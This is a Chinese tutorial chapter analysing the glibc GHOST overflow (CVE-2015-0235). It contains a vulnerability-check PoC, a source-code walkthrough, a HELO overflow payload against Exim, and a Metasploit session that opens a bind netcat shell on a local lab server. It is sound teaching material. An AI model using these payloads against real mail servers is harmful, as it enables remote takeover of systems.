- 简介
- 一、基础知识篇
- 二、工具篇
- 三、分类专题篇
- 四、技巧篇
- 五、高级篇
- 六、题解篇
- 6.1 Pwn
- 6.1.1 pwn HCTF2016 brop
- 6.1.2 pwn NJCTF2017 pingme
- 6.1.3 pwn XDCTF2015 pwn200
- 6.1.4 pwn BackdoorCTF2017 Fun-Signals
- 6.1.5 pwn GreHackCTF2017 beerfighter
- 6.1.6 pwn DefconCTF2015 fuckup
- 6.1.7 pwn 0CTF2015 freenote
- 6.1.8 pwn DCTF2017 Flex
- 6.1.9 pwn RHme3 Exploitation
- 6.1.10 pwn 0CTF2017 BabyHeap2017
- 6.1.11 pwn 9447CTF2015 Search-Engine
- 6.1.12 pwn N1CTF2018 vote
- 6.1.13 pwn 34C3CTF2017 readme_revenge
- 6.1.14 pwn 32C3CTF2015 readme
- 6.1.15 pwn 34C3CTF2017 SimpleGC
- 6.1.16 pwn HITBCTF2017 1000levels
- 6.1.17 pwn SECCONCTF2016 jmper
- 6.1.18 pwn HITBCTF2017 Sentosa
- 6.1.19 pwn HITBCTF2018 gundam
- 6.1.20 pwn 33C3CTF2016 babyfengshui
- 6.1.21 pwn HITCONCTF2016 Secret_Holder
- 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
- 6.1.23 pwn BCTF2016 bcloud
- 6.1.24 pwn HITCONCTF2016 HouseofOrange
- 6.1.25 pwn HCTF2017 babyprintf
- 6.1.26 pwn 34C3CTF2017 300
- 6.1.27 pwn SECCONCTF2016 tinypad
- 6.1.28 pwn ASISCTF2016 b00ks
- 6.1.29 pwn Insomni'hackteaserCTF2017 TheGreatEscapepart-3
- 6.1.30 pwn HITCONCTF2017 Ghostinthe_heap
- 6.1.31 pwn HITBCTF2018 mutepig
- 6.1.32 pwn SECCONCTF2017 vmnofun
- 6.1.33 pwn 34C3CTF2017 LFA
- 6.1.34 pwn N1CTF2018 memsafety
- 6.1.35 pwn 0CTF2018 heapstorm2
- 6.1.36 pwn NJCTF2017 messager
- 6.1.37 pwn sixstarctf2018 babystack
- 6.1.38 pwn HITCONCMT2017 pwn200
- 6.1.39 pwn BCTF2018 houseofAtum
- 6.1.40 pwn LCTF2016 pwn200
- 6.1.41 pwn PlaidCTF2015 PlaidDB
- 6.1.42 pwn hacklu2015 bookstore
- 6.1.43 pwn 0CTF2018 babyheap
- 6.1.44 pwn ASIS2017 start_hard
- 6.1.45 pwn LCTF2016 pwn100
- 6.2 Reverse
- 6.3 Web
- 6.1 Pwn
- 七、实战篇
- 7.1 CVE
- 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
- 7.1.2 CVE-2015-0235 glibc _nsshostnamedigitsdots 堆溢出漏洞
- 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
- 7.1.4 CVE-2017-13089 wget skipshortbody 栈溢出漏洞
- 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
- 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
- 7.1.7 CVE-2018-6323 GNU binutils elfobjectp 整型溢出漏洞
- 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
- 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
- 7.1 CVE
- 八、学术篇
- 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
- 8.2 Return-Oriented Programming without Returns
- 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
- 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
- 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
- 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
- 8.9 Symbolic Execution for Software Testing: Three Decades Later
- 8.10 AEG: Automatic Exploit Generation
- 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Software
- 8.13 New Frontiers of Reverse Engineering
- 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
- 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
- 8.22 Practical Memory Checking With Dr. Memory
- 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
- 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
- 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
- 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
- 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
- 8.28 Cross-Architecture Bug Search in Binary Executables
- 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
- 8.30 Preventing brute force attacks against stack canary protection on networking servers
- 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
- 8.34 Enhancing Symbolic Execution with Veritesting
- 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
- 8.39 DART: Directed Automated Random Testing
- 8.40 EXE: Automatically Generating Inputs of Death
- 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
- 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software
- 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
- 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
- 8.45 Ramblr: Making Reassembly Great Again
- 8.46 FreeGuard: A Faster Secure Heap Allocator
- 8.48 Reassembleable Disassembling
- 九、附录
7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
漏洞描述
glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 __nss_hostname_digits_dots()
存在缓冲区溢出,可以通过 gethostbyname*()
系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。
漏洞复现
推荐使用的环境 | 备注 | |
---|---|---|
操作系统 | Ubuntu 12.04 | 体系结构:64 位 |
调试器 | gdb-peda | 版本号:7.4 |
漏洞软件 | glibc | 版本号:2.15 |
受影响软件 | Exim4 | 版本号:4.80 |
通过下面的 PoC 可以知道自己的系统是否受到影响:
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
$ file /lib/x86_64-linux-gnu/libc-2.15.so
/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
$ gcc -g poc.c
$ ./a.out
vulnerable
很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+*host_addr+*h_addr_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。
函数 gethostbyname_r()
在 include/netdb.h
中定义如下:
struct hostent {
char *h_name; /* official name of host */
char **h_aliases; /* alias list */
int h_addrtype; /* host address type */
int h_length; /* length of address */
char **h_addr_list; /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */
int gethostbyname_r(const char *name,
struct hostent *ret, char *buf, size_t buflen,
struct hostent **result, int *h_errnop);
name
:网页的 host 名称ret
:成功时用于存储结果buf
:临时缓冲区,存储过程中的各种信息buflen
:缓冲区大小result
:成功时指向 reth_errnop
:存储错误码
执行前:
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
gdb-peda$ x/20gx temp.canary-0x10
0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
执行后:
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
gdb-peda$ x/6gx temp.canary-0x10
0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
canary 被覆盖了 8 个字节,即溢出了 8 个字节。
漏洞分析
grep -irF '__nss_hostname_digits_dots' ./*
./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
[...]
./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 HANDLE_DIGITS_DOTS
被定义:
// inet/gethstbynm.c
#define NEED_H_ERRNO 1
// nss/getXXbyYY_r.c
#ifdef HANDLE_DIGITS_DOTS
if (buffer != NULL)
{
if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
&buffer_size, 0, &result, NULL, AF_VAL,
H_ERRNO_VAR_P))
goto done;
}
#endif
具体程序如下(来自glibc-2.17):
// nss/digits_dots.c
int
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
char **buffer, size_t *buffer_size,
size_t buflen, struct hostent **result,
enum nss_status *status, int af, int *h_errnop)
{
[...]
if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
{
const char *cp;
char *hostname;
typedef unsigned char host_addr_t[16];
host_addr_t *host_addr;
typedef char *host_addr_list_t[2];
host_addr_list_t *h_addr_ptrs;
char **h_alias_ptr;
size_t size_needed;
[...]
// size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0')
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs) + strlen (name) + 1);
if (buffer_size == NULL) // 重入分支
{
if (buflen < size_needed)
{
[...]
goto done;
}
}
else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
{
char *new_buf;
*buffer_size = size_needed;
new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大
if (new_buf == NULL)
{
[...]
goto done;
}
*buffer = new_buf;
}
[...]
// 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
// 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节
host_addr = (host_addr_t *) *buffer;
h_addr_ptrs = (host_addr_list_t *)
((char *) host_addr + sizeof (*host_addr));
h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
if (isdigit (name[0]))
{
for (cp = name;; ++cp)
{
if (*cp == '\0')
{
int ok;
if (*--cp == '.')
break;
[...]
if (af == AF_INET)
ok = __inet_aton (name, (struct in_addr *) host_addr);
else
{
assert (af == AF_INET6);
ok = inet_pton (af, name, host_addr) > 0;
}
if (! ok)
{
[...]
goto done;
}
resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname,触发缓冲区溢出
[...]
goto done;
}
if (!isdigit (*cp) && *cp != '.')
break;
}
}
注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:
- name 的第一个字符必须是数字
- name 的最后一个字符不能是 "."
- name 的所有字符只能是数字或者 "."
- 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff
对比一下 glibc-2.18 的代码,也就是把 h_alias_ptr 的长度加上了,问题完美解决:
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs)
+ sizeof (*h_alias_ptr) + strlen (name) + 1);
Exim exploit
$ sudo apt-get install libpcre3-dev
$ git clone https://github.com/Exim/exim.git
$ cd exim/src
$ git checkout exim-4_80
$ mkdir Local
$ cp src/EDITME Local/Makefile
$ #修改 Makefile 中的 EXIM_USER=你的用户名
$ #注释掉 EXIM_MONITOR=eximon.bin
$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
$ make && sudo make install
最后为了能够调用 smtp_verify_helo()
,在 Exim 的配置文件中必须开启 helo_verify_hosts
或 helo_try_verify_hosts
。在文件 /var/lib/exim4/config.autogenerated
中的 acl_smtp_mail
一行下面加上 helo_try_verify_hosts = *
或者 helo_verify_hosts = *
:
acl_smtp_mail = MAIN_ACL_CHECK_MAIL
helo_try_verify_hosts = *
更新并重启软件即可:
$ update-exim4.conf
$ exim4 -bP | grep helo_try
helo_try_verify_hosts = *
$ sudo /etc/init.d/exim4 stop
$ sudo /usr/exim/bin/exim -bdf -d+all
这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地执行。
先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么:
$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
^CConnection closed by foreign host.
firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
HELO 0123456789
250 firmy-VirtualBox Hello localhost [127.0.0.1]
结果如下:
17:00:47 5577 Process 5577 is ready for new message
17:00:47 5577 smtp_setup_msg entered
17:00:55 5577 SMTP<< HELO 0123456789
17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
17:00:55 5577 verifying EHLO/HELO argument "0123456789"
17:00:55 5577 getting IP address for 0123456789
17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 LOG: host_lookup_failed MAIN
17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
可以看到它最终调用了 gethostbyname2()
函数来解析来自 SMTP 客户端的数据包。具体代码如下:github
// src/src/smtp_in.c
int
smtp_setup_msg(void)
{
[...]
while (done <= 0)
{
[...]
switch(smtp_read_command(TRUE))
{
[...]
case HELO_CMD:
HAD(SCH_HELO);
hello = US"HELO";
esmtp = FALSE;
goto HELO_EHLO;
case EHLO_CMD:
HAD(SCH_EHLO);
hello = US"EHLO";
esmtp = TRUE;
// 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程
HELO_EHLO: /* Common code for HELO and EHLO */
cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
/* Reject the HELO if its argument was invalid or non-existent. A
successful check causes the argument to be saved in malloc store. */
if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
{
[...]
break;
}
[...]
helo_verified = helo_verify_failed = FALSE;
if (helo_required || helo_verify)
{
BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
if (!helo_verified)
{
if (helo_required)
{
[...]
}
HDEBUG(D_all) debug_printf("%s verification failed but host is in "
"helo_try_verify_hosts\n", hello);
}
}
继续看函数 smtp_verify_helo()
:
// src/src/smtp_in.c
BOOL
smtp_verify_helo(void)
{
[...]
if (!helo_verified)
{
int rc;
host_item h;
h.name = sender_helo_name;
h.address = NULL;
h.mx = MX_NONE;
h.next = NULL;
HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
sender_helo_name);
rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
[....]
}
}
// src/src/host.c
int
host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
uschar **fully_qualified_name, BOOL local_host_check)
{
[...]
for (i = 1; i <= times;
#if HAVE_IPV6
af = AF_INET, /* If 2 passes, IPv4 on the second */
#endif
i++)
{
[...]
#if HAVE_IPV6
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, af, &error_num);
else
{
#if HAVE_GETIPNODEBYNAME
hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
#else
hostdata = gethostbyname2(CS host->name, af);
error_num = h_errno;
#endif
}
#else /* not HAVE_IPV6 */
if (running_in_test_harness)
hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
else
{
hostdata = gethostbyname(CS host->name);
error_num = h_errno;
}
#endif /* HAVE_IPV6 */
函数 host_find_byname
调用了 gethostbyname()
和 gethostbyname2()
分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。
这一次我们输入这样的一串字符,即可导致溢出:
$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。
Connection closed by foreign host.
$ dmesg | grep exim
[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开:
$ /etc/init.d/exim4 restart
msf > search exim
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
msf > use exploit/linux/smtp/exim_gethostbyname_bof
msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
SENDER_HOST_ADDRESS => 127.0.0.1
msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
payload => cmd/unix/bind_netcat
msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
Module options (exploit/linux/smtp/exim_gethostbyname_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 127.0.0.1 yes The target address
RPORT 25 yes The target port (TCP)
SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
Payload options (cmd/unix/bind_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 127.0.0.1 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
[*] Started bind handler
[*] 127.0.0.1:25 - Checking if target is vulnerable...
[+] 127.0.0.1:25 - Target is vulnerable.
[*] 127.0.0.1:25 - Trying information leak...
[+] 127.0.0.1:25 - Successfully leaked_arch: x64
[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
[*] 127.0.0.1:25 - Trying code execution...
[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
[+] 127.0.0.1:25 - Brute-force SUCCESS
[+] 127.0.0.1:25 - Please wait for reply...
[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
whoami
Debian-exim
id
uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
Bingo!!!成功获得了一个反弹 shell。
对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。
参考资料
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论